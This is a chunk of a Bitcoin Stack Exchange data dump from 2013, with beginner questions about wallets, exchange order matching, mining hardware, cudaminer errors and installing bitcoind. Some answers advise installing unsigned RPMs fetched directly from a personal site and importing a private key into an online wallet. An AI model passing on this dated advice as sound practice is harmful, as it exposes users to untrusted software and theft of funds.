  <row Id="9826" PostTypeId="2" ParentId="9822" CreationDate="2013-04-16T03:18:51.507" Score="1" Body="&lt;p&gt;Welcome to the Bitcoin Stack Exchange!  Would it be a fair guess to say you're pretty new to the whole idea of bitcoins?  If so, you've come to the right place!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if I'm misreading your current level of understanding, but I'll try and get you on track with the whole wallets and currencies thing, because it's a little counterintuitive.  At present the Bitcoin network, which is a completely digital concept, doesn't support the use of tokens equivalent to traditional currencies like euros, swiss francs, or u.s. dollars.  The only token stored digitally in a Bitcoin wallet is a token called the bitcoin, and it's essentially its own currency, except not backed by any country or organisation other than the many people who choose to use it.  It's not a physical object, but a mathematical object kept track of in a secure digital network.  Unlike a service such as PayPal, where your Paypal wallet could hold dollars, euros, or several other types of money at the same time, &lt;strong&gt;Bitcoin wallets only hold bitcoins.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way that money other than bitcoins can be &quot;deposited&quot; into a Bitcoin wallet is by using it to buy bitcoins from other people, and then depositing &lt;em&gt;those&lt;/em&gt; bitcoins into your wallet.  If you've heard about people &quot;putting money into Bitcoin&quot; what they've actually been doing is using their u.s. dollars, euros, or what have you to purchase bitcoins, usually from an online exchange.  Alternatively, you might be able to just find someone in real life who wants to sell you some bitcoins, which is where a website like &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com&lt;/a&gt; would come in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins have a numismatic value, and you're interested in selling them to someone &lt;em&gt;in exchange for&lt;/em&gt; some bitcoins, then you would have to find a willing buyer who will pay you for them in bitcoins (which you could probably do although I don't know specifically where).  There's no way to use the Bitcoin network as a storage or exchange mechanism for your actual physical coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that answers your question.  Is it possible that you thought the Bitcoin network was a digital method for people to trade physical coins with?  Because that would be a cool idea too, like a listing service or something.  But unfortunately, not quite what Bitcoin is meant to do.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-04-16T03:18:51.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9827" PostTypeId="2" ParentId="9815" CreationDate="2013-04-16T03:25:30.227" Score="3" Body="&lt;p&gt;Mining performance can be viewed as consisting of two factors. One is the total resources available. The other is what fraction of those resources you can usefully apply to mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASICs and FPGAs excel at mining because you can effectively use a very high fraction of their available resources for mining. CPUs are terrible at mining because a huge fraction of their resources are useless for mining -- they're optimized for memory access, decision making, floating point math, and many other things that don't help with mining at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;complexity of the cores&quot; refers to how sophisticated the operations that the cores can do are. This doesn't help with mining, which only requires very simple operations, and thus just increases the fraction of the resources available that you can't use for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 can be heavily optimized for every architecture. In the early days of mining, there was a huge &quot;arms race&quot; to micro-optimize mining for various architectures.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-16T03:25:30.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9828" PostTypeId="1" CreationDate="2013-04-16T04:38:28.927" Score="8" ViewCount="1402" Body="&lt;p&gt;This question concerns the Armory client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Armory has deterministic wallets, do I only need to back up a wallet one time (after creation), or do I need to back it up each time I create a new address with that wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, can all addresses, that a deterministic wallet creates, be recreated again if I lose these addresses, but still have a backup of the &quot;genesis&quot; wallet (I assume that, in this context, &lt;em&gt;that&lt;/em&gt; is meant with a &lt;em&gt;deterministic&lt;/em&gt; wallet, correct)?&lt;/p&gt;&#xA;" OwnerUserId="4268" LastActivityDate="2013-05-02T20:21:08.153" Title="Do I need to backup a wallet every time I generate a new address?" Tags="|wallet|backup|armory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9830" PostTypeId="2" ParentId="9816" CreationDate="2013-04-16T04:56:13.653" Score="0" Body="&lt;p&gt;Another option is to get the electrum wallet instead from electrum.org; it's much faster and doesn't need to download the blockchain. &lt;/p&gt;&#xA;" OwnerUserId="3796" LastEditorUserId="516" LastEditDate="2013-05-10T00:50:32.087" LastActivityDate="2013-05-10T00:50:32.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9832" PostTypeId="1" AcceptedAnswerId="9833" CreationDate="2013-04-16T08:24:12.733" Score="4" ViewCount="332" Body="&lt;p&gt;I was wondering about how ASKs and BIDs are matched:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I set up two separate trading accounts on mtgox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my first account, I offer to sell 1 BTC for 1000 USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Nobody will buy it (at current rates) so a sell will not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on my second account I offer to buy 1 BTC at 1000 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess everyone will take that offer, and the buy will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But will I get the 1000 USD that my first account is willing to pay (being the highest match), or what will happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling this is a 'stupid' question, but I have no experience in how trading systems work.&lt;/p&gt;&#xA;" OwnerUserId="4429" LastEditorUserId="196" LastEditDate="2013-04-16T08:47:42.220" LastActivityDate="2013-04-16T09:36:00.200" Title="Will I pay BID price or lowest necessary amount?" Tags="|exchanges|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9833" PostTypeId="2" ParentId="9832" CreationDate="2013-04-16T08:47:26.313" Score="5" Body="&lt;p&gt;First account gets nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second account buys them starting from the lowest offer, going up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such as, there are sells:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.30 units @ a price of 100&lt;/li&gt;&#xA;&lt;li&gt;0.10 @ 150&lt;/li&gt;&#xA;&lt;li&gt;0.40 @ 650&lt;/li&gt;&#xA;&lt;li&gt;0.80 @ 850&lt;/li&gt;&#xA;&lt;li&gt;1.00 @ 1000 (your first offer)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You post a limit order to buy 1.00 unit @ a maximum price of 1000, you get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.30 @ 100 (total spent 30)&lt;/li&gt;&#xA;&lt;li&gt;0.10 @ 150 (total 45)&lt;/li&gt;&#xA;&lt;li&gt;0.40 @ 650 (total 305)&lt;/li&gt;&#xA;&lt;li&gt;0.20 @ 850 (total 475)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You got the amount requested (1.00 units), spending 475 instead of 1000 (the maximum you were willing to spend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new market depth will be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0.60 @ 850&lt;/li&gt;&#xA;&lt;li&gt;1.00 @ 1000 (your first offer)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-04-16T09:36:00.200" LastActivityDate="2013-04-16T09:36:00.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9834" PostTypeId="1" CreationDate="2013-04-16T11:22:25.653" Score="8" ViewCount="1387" Body="&lt;p&gt;If there are a finite number of ripples, and ripple transaction fees get destroyed with each transaction, then wont they eventually run out?&lt;/p&gt;&#xA;" OwnerUserId="4431" LastActivityDate="2013-04-16T17:35:16.447" Title="Won't ripples run out in time?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9835" PostTypeId="1" CreationDate="2013-04-16T11:50:52.463" Score="5" ViewCount="3121" Body="&lt;p&gt;I recently got started by creating a single wallet using &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt;. This contains the public bitcoin address and the private key in the wallet import format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have some coins in there, but don't really understand how to use them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access/use my bitcoins? How is it possible to make a payment? What are the different options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4432" LastEditorUserId="153" LastEditDate="2013-04-16T22:20:23.343" LastActivityDate="2017-05-24T01:19:11.600" Title="Where can the private key from a bitaddress.org paper wallet be redeemed?" Tags="|wallet|buy-bitcoins|spending|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9836" PostTypeId="1" AcceptedAnswerId="9871" CreationDate="2013-04-16T11:54:39.190" Score="1" ViewCount="115" Body="&lt;p&gt;I have an idea for a tool I'd like to build, but first I need to understand the Bitcoin protocol a little better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way, hypothetically, to ensure that a given wallet or address can only transmit to a restricted address or set of addresses?&lt;/p&gt;&#xA;" OwnerUserId="4433" LastActivityDate="2013-04-16T22:39:04.903" Title="Restricting a wallet to a specific destination address" Tags="|wallet|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9837" PostTypeId="2" ParentId="9171" CreationDate="2013-04-16T12:10:28.457" Score="2" Body="&lt;p&gt;add after stmt.pwd this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;stmt.sharelog&quot; :&quot;INSERT INTO shares (rem_host, username, our_result, upstream_result, reason, solution) VALUES (?, ?, ?, ?, ?, ?)&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it should do the trick ;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for litecoin you should remove the rewrite  into&#xA;&lt;code&gt;&quot;rpc.target.bits&quot; : 18&lt;/code&gt;,&lt;/p&gt;&#xA;" OwnerUserId="4434" LastEditorUserId="2306" LastEditDate="2013-04-16T16:09:03.133" LastActivityDate="2013-04-16T16:09:03.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9838" PostTypeId="2" ParentId="9836" CreationDate="2013-04-16T12:42:23.313" Score="1" Body="&lt;p&gt;If you have the private key you have full control over the relative address, there is no partial control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to achieve things like that, you have to keep the private key yourself, and let the users interact only through your interface, were obviously you can enforce any rule you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you'd better state &lt;em&gt;what&lt;/em&gt; you want to achieve, and now &lt;em&gt;how&lt;/em&gt; you think you would need to do that.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-16T12:42:23.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9839" PostTypeId="2" ParentId="9835" CreationDate="2013-04-16T12:43:43.693" Score="2" Body="&lt;p&gt;I don't quite get the point of bitaddress.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to copy the private key they gave you, and import it into another wallet of your choice, such as &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-16T12:43:43.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9840" PostTypeId="1" CreationDate="2013-04-16T13:24:02.367" Score="9" ViewCount="393" Body="&lt;p&gt;I'm currently doing a research project about Bitcoin and I've particularily been investigating the seed nodes and I have two questions about them :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How are they chosen ? Well, they have to be nodes with high disponibility (bandwith maybe?) but is there any other criterion ?&lt;/li&gt;&#xA;&lt;li&gt;Why are some of the nodes located in the network of big companies ? Isn't it a bit contradictory to Bitcoin's spirit to have the ip address of some major financial companies hardcoded in its client ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ayla&lt;/p&gt;&#xA;" OwnerUserId="4436" LastEditorUserId="44" LastEditDate="2013-05-09T23:32:51.387" LastActivityDate="2014-07-11T07:32:13.157" Title="How are the seed nodes chosen?" Tags="|architecture|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9842" PostTypeId="2" ParentId="5915" CreationDate="2013-04-16T14:59:19.047" Score="0" Body="&lt;p&gt;From another site (SO clone - &lt;a href=&quot;http://www.rugatu.com/questions/15712/how-to-install-bitcoind-in-linux&quot; rel=&quot;nofollow&quot;&gt;http://www.rugatu.com/questions/15712/how-to-install-bitcoind-in-linux&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the step-by-step setup. Follow the procedure as root, or as user but use sudo when needed. I'll use sudo here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add the experimental repository to get the latest version of bitcoind. To do so, run nano (or your preferred text editor) to open the sources.list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo nano /etc/apt/sources.list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add to the end of the file the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://ftp.us.debian.org/debian/ experimental main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save and exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Run the update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Install bitcoind from the experimental repo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install -t experimental bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) comment out the experimental repo line in sources.list. &lt;/p&gt;&#xA;" OwnerUserId="3572" LastActivityDate="2013-04-16T14:59:19.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9843" PostTypeId="2" ParentId="5915" CreationDate="2013-04-16T15:08:47.310" Score="0" Body="&lt;p&gt;The easiest way is to just download an RPM that does all of this for you. I provide one on my website for both i686 and x86_64:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 32 bit&#xA;yum install http://tvdw.eu/bitcoin-0.8.1-1.el6.i686.rpm&#xA;# 64 bit&#xA;yum install http://tvdw.eu/bitcoin-0.8.1-1.el6.x86_64.rpm&#xA;&#xA;# Now you can just run the client&#xA;bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These RPMs aren't signed, so install them at your own risk. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Don't want the RPM? Understandable. Get the compiled tarball from the bitcoin site (&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.8.1/bitcoin-0.8.1-linux.tar.gz/download&quot; rel=&quot;nofollow&quot;&gt;direct link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.8.1/bitcoin-0.8.1-linux.tar.gz/download&#xA;tar -xfv bitcoin-0.8.1-linux.tar.gz&#xA;cd bitcoin-0.8.1-linux&#xA;./32/bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-16T15:14:41.130" LastActivityDate="2013-04-16T15:14:41.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9844" PostTypeId="1" CreationDate="2013-04-16T15:41:15.140" Score="2" ViewCount="5678" Body="&lt;p&gt;I'm giving a specific case here, but I think I have seen the same error trying to use stratum_proxy for any pool and coin I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When wemineltc.com briefly had a getwork server up, cudaminer worked great! But now that they're back to stratum only, I'm trying to get that to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run the stratum proxy that I get from wemineltc and see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\dev\cudaminer-2013-04-14\stratum_proxy.exe\twisted\web\util.py:372: Deprecati&#xA;onWarning: Passing filenames or file objects to XMLFile is deprecated since Twis&#xA;ted 12.1.  Pass a FilePath instead.&#xA;2013-04-16 08:24:07,302 WARNING proxy jobs.&amp;lt;module&amp;gt; # C extension for midstate n&#xA;ot available. Using default implementation instead.&#xA;2013-04-16 08:24:07,302 INFO proxy mining_proxy.main # Stratum proxy version: 1.&#xA;3.0&#xA;2013-04-16 08:24:07,302 INFO proxy mining_proxy.main # Trying to connect to Stra&#xA;tum pool at eu.wemineltc.com:3333&#xA;2013-04-16 08:24:07,302 INFO proxy mining_proxy.main # Setting PoW algo: scrypt&#xA;2013-04-16 08:24:07,621 INFO stats stats.print_stats # 1 peers connected, state&#xA;changed 1 times&#xA;2013-04-16 08:24:07,621 INFO proxy mining_proxy.on_connect # Connected to Stratu&#xA;m pool at eu.wemineltc.com:3333&#xA;2013-04-16 08:24:07,621 INFO proxy mining_proxy.on_connect # Subscribing for min&#xA;ing jobs&#xA;2013-04-16 08:24:07,838 INFO proxy mining_proxy.main # -------------------------&#xA;----------------------------------------------&#xA;2013-04-16 08:24:07,838 INFO proxy mining_proxy.main # PROXY IS LISTENING ON ALL&#xA; IPs ON PORT 3333 (stratum) AND 8332 (getwork)&#xA;2013-04-16 08:24:07,838 INFO proxy mining_proxy.main # -------------------------&#xA;----------------------------------------------&#xA;2013-04-16 08:24:07,838 INFO proxy client_service.handle_event # Setting new dif&#xA;ficulty: 128&#xA;2013-04-16 08:24:07,839 INFO proxy client_service.handle_event # New job c9 for&#xA;prevhash d2c7e1c2, clean_jobs=True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I run cudaminer with the following batch file (on windows 7 64 bit):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cudaminer.exe -o 127.0.0.1:8332 -O user:password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\dev\cudaminer-2013-04-14&amp;gt;cudaminer.exe -o http://127.0.0.1:8332 -O user:&#xA;password&#xA;           *** CudaMiner for nVidia GPUs by Christian Buchner ***&#xA;                     This is version 2013-04-14 (alpha)&#xA;        based on pooler-cpuminer 2.2.3 (c) 2010 Jeff Garzik, 2012 pooler&#xA;               Cuda additions Copyright 2013 Christian Buchner&#xA;           My donation address: LKS1WDKGED647msBQfLBHV3Ls8sveGncnm&#xA;&#xA;[2013-04-16 08:29:52] 1 miner threads started, using 'scrypt' algorithm.&#xA;[2013-04-16 08:29:52] HTTP request failed: The requested URL returned error: 401&#xA;&#xA;[2013-04-16 08:29:52] json_rpc_call failed, retry after 15 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried a few different things but I always get that 401 error. Any ideas on resolving this?&lt;/p&gt;&#xA;" OwnerUserId="4439" LastEditorUserId="5406" LastEditDate="2016-04-25T16:27:57.230" LastActivityDate="2016-04-25T16:27:57.230" Title="Error trying to mine with stratum_proxy" Tags="|litecoin|miner-configuration|gpu-mining|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9845" PostTypeId="1" CreationDate="2013-04-16T16:09:55.080" Score="3" ViewCount="272" Body="&lt;p&gt;we run a Bitcoin Daemon on a Linode server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're seeing huge CPU usage to the point its crashing our server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're not mining, simply running a node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help?&lt;/p&gt;&#xA;" OwnerUserId="3037" LastActivityDate="2014-02-12T12:22:07.940" Title="Bitcoin Daemon Syncing Crashing Server. CPU through the roof" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9846" PostTypeId="2" ParentId="9815" CreationDate="2013-04-16T16:26:42.287" Score="1" Body="&lt;p&gt;If I may, and this might be a little off but its around the right idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continuing with Mr. Scwartz's answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another major important role in H/s is OpenCL and CUDA. Each provide a means of communication/a protocol between manufacturers so different hardware can interact more readily. So as Schwartz said you need to utilize the computing power (resources) of the chip for it to be useful. OpenCL and CUDA allow software to utilize many different hardware pieces at once. So some of the steps to do mining might be performed on the CPU while others are performed on the GPU. Thanks to OpenCL, you can easily call one function and it will utilize the resources it has avalible. (I am not saying OpenCL has a function doHash() but more of something along the lines of if(elegantWork) useCPU; else if(bruteWork) useGPU;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the computers machine language architecture would play a big role. The ISC (Instruction Set Computer) is a computer with a defined set of instructions its processor can perform. So there are many kinds. RISC, ARM, etc (Idk many of them or much about there differences) But certain ones have instructions that are useful to mining and some have ones that are not. There circuits in some chips that try to guess the future, so if it sees you are gonig to execute a branching statement, it might try to work ahead on each branch and then once it knows it will drop all others and continue on the right branch. Well there might not be a need for that in hashing, so the part of the chip is useless to us if we want to hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC's and FPGA's are chips (Integrated Circuits) than are designed specifically for mining. They have circuits only that they need to hash, and a lot of them, and throw out the rest of the regular stuff. Thats why an ASIC is only good for hashing if that's its application (it only &quot;knows&quot; how to hash). FPGA is a Field Programmable Gate Array, it is a bunch of multi purpose gates (circuits) on a chip that can be programmed to do a specific task (like hashing), but it still has some other stuff there that is not useful; the other stuff is there so that it can be general purpose. (People write software so it utilizes resources good, HardwareDescriptionLanguage HDL describes physical circuits and it used to write code that will program FPGA's; So if you get a FPGA and want to mine, you have to find a HDL program that you can use to burn/write the chip with to do the hashing algorithm, then you run software that makes use of the circuits you just wrote to the chip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any given chips performance can be determined by, the instructions it can process, how well it can process those instructions, and how efficient it is (if you care). Since there is a myriad of unique problems in the world, that means we try to create a myriad of unique IC's with a myriad of abilities.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2013-04-16T16:33:04.730" LastActivityDate="2013-04-16T16:33:04.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9847" PostTypeId="1" CreationDate="2013-04-16T16:52:33.047" Score="3" ViewCount="1085" Body="&lt;p&gt;I have 2 Ubuntu 12.04 machines. I'm running bitminter on both. But the website in the workers section only lists what one computer is doing. &#xA;Do I need 2 accounts for this setup or something?&lt;/p&gt;&#xA;" OwnerUserId="4441" LastEditorUserId="5406" LastEditDate="2016-03-31T17:01:04.920" LastActivityDate="2016-03-31T17:01:04.920" Title="Is it possible to run bitminter on 2 computers with one account?" Tags="|ubuntu|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9848" PostTypeId="1" CreationDate="2013-04-16T16:59:32.187" Score="0" ViewCount="2478" Body="&lt;p&gt;i have a laptop with a discreet GPU, no integrated ones.&#xA;its a Nvidia GT 120m in an ASUS laptop. &#xA;i never use the laptop, so i decided to turn it into a bitcoin miner using bitminter.&#xA;at the moment it is just doing 4Mhps. while one of my desktops with a nvidia 8800GTS is doing 13Mhps. &#xA;i believe the laptop gpu is suppose to be faster. &#xA;anyone have any solutions to a problem like this.&#xA;oh and both systems use ubuntu 12.04&lt;/p&gt;&#xA;" OwnerUserId="4441" LastEditorUserId="5406" LastEditDate="2016-04-28T14:16:47.843" LastActivityDate="2016-04-28T14:16:47.843" Title="bitcoin mining on a laptop gpu, nvidia GT 120m?" Tags="|miner-configuration|mining-profitability|gpu-mining|ubuntu|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-17T08:47:17.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="9849" PostTypeId="2" ParentId="9848" CreationDate="2013-04-16T17:09:28.507" Score="0" Body="&lt;p&gt;Laptop gpus are no good for mining bitcoins. Not anymore, at least.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-04-16T17:09:28.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9850" PostTypeId="1" CreationDate="2013-04-16T17:14:42.670" Score="1" ViewCount="2611" Body="&lt;p&gt;I have the Bitcoin Client running on my laptop, it is up to date and now fully synchronised, but it is running the CPU at almost 100% and so makes doing anything else extremely slow. Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst it was 'synchronising with the network' it was doing the same but I assumed it was because synchronising with the network used up a lot of processing power, but it does the same now - is this likely to always be same or have I done something wrong in the set up?  (my laptop has 2GB memory, has 2.20GHz processor and running on windows vista)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2013-11-17T18:06:19.703" Title="Does having the Bitcoin Client running always use up a lot of the CPU?" Tags="|client|synchronization|cpu|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9851" PostTypeId="2" ParentId="9848" CreationDate="2013-04-16T17:19:24.720" Score="0" Body="&lt;p&gt;Your laptop GPU will be competing against miners who mine at GHps, people who have specialized hardware for mining. You're orders of magnitude slower than they are. Ultimately whether it is worth depends on how much time you have and the cost of electricity, but it will require a lot of patience.&lt;/p&gt;&#xA;" OwnerUserId="4274" LastActivityDate="2013-04-16T17:19:24.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9852" PostTypeId="2" ParentId="9834" CreationDate="2013-04-16T17:35:16.447" Score="4" Body="&lt;p&gt;The fee is variable over time.  As the supply dwindles, the relative value of each XRP will be higher, so the transaction fee will get lower.  They'll never really run out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Transaction_Fee&quot;&gt;https://ripple.com/wiki/Transaction_Fee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3918" LastActivityDate="2013-04-16T17:35:16.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9853" PostTypeId="2" ParentId="9844" CreationDate="2013-04-16T18:02:17.457" Score="2" Body="&lt;p&gt;The problem was with windows firewall. Turned it off, tried again, it worked. Turned it back on and set the appropriate windows firewall exceptions for stratum_proxy and cudaminer and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this problem suddenly appear again this morning. Turning off firewall made no difference. I changed cudaminer to point to my machine ip address instead of 127.0.0.1 and then it started working.&lt;/p&gt;&#xA;" OwnerUserId="4439" LastEditorUserId="4439" LastEditDate="2013-04-17T15:51:07.137" LastActivityDate="2013-04-17T15:51:07.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9854" PostTypeId="1" AcceptedAnswerId="9855" CreationDate="2013-04-16T18:16:04.010" Score="12" ViewCount="15770" Body="&lt;p&gt;I have been searching Google all day and cannot find any real information. I'm looking for information in detail, such as specifications or the qualities of the GPUs that make the differences.&lt;/p&gt;&#xA;" OwnerUserId="4441" LastEditorUserId="5406" LastEditDate="2016-02-17T21:05:01.547" LastActivityDate="2016-02-17T21:05:01.547" Title="Why do AMD's GPUs mine faster than Nvidia's?" Tags="|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9855" PostTypeId="2" ParentId="9854" CreationDate="2013-04-16T18:30:01.293" Score="15" Body="&lt;p&gt;Summary: different approach to calculations. Nvidia GPUs are more like CPUs, in that they have only a few processors that do work, but faster. ATI GPUs have slower processors, but a lot more of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a more complete description on &lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU#Why_are_AMD_GPUs_faster_than_Nvidia_GPUs.3F&quot;&gt;the relevant wiki page&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firstly, AMD designs GPUs with many simple ALUs/shaders (VLIW design) that run at a relatively low frequency clock (typically 1120-3200 ALUs at 625-900 MHz), whereas Nvidia's microarchitecture consists of fewer more complex ALUs and tries to compensate with a higher shader clock (typically 448-1024 ALUs at 1150-1544 MHz). Because of this VLIW vs. non-VLIW difference, Nvidia uses up more square millimeters of die space per ALU, hence can pack fewer of them per chip, and they hit the frequency wall sooner than AMD which prevents them from increasing the clock high enough to match or surpass AMD's performance. This translates to a raw ALU performance advantage for AMD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AMD Radeon HD 6990: 3072 ALUs x 830 MHz = 2550 billion 32-bit instruction per second&#xA;Nvidia GTX 590: 1024 ALUs x 1214 MHz = 1243 billion 32-bit instruction per second &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  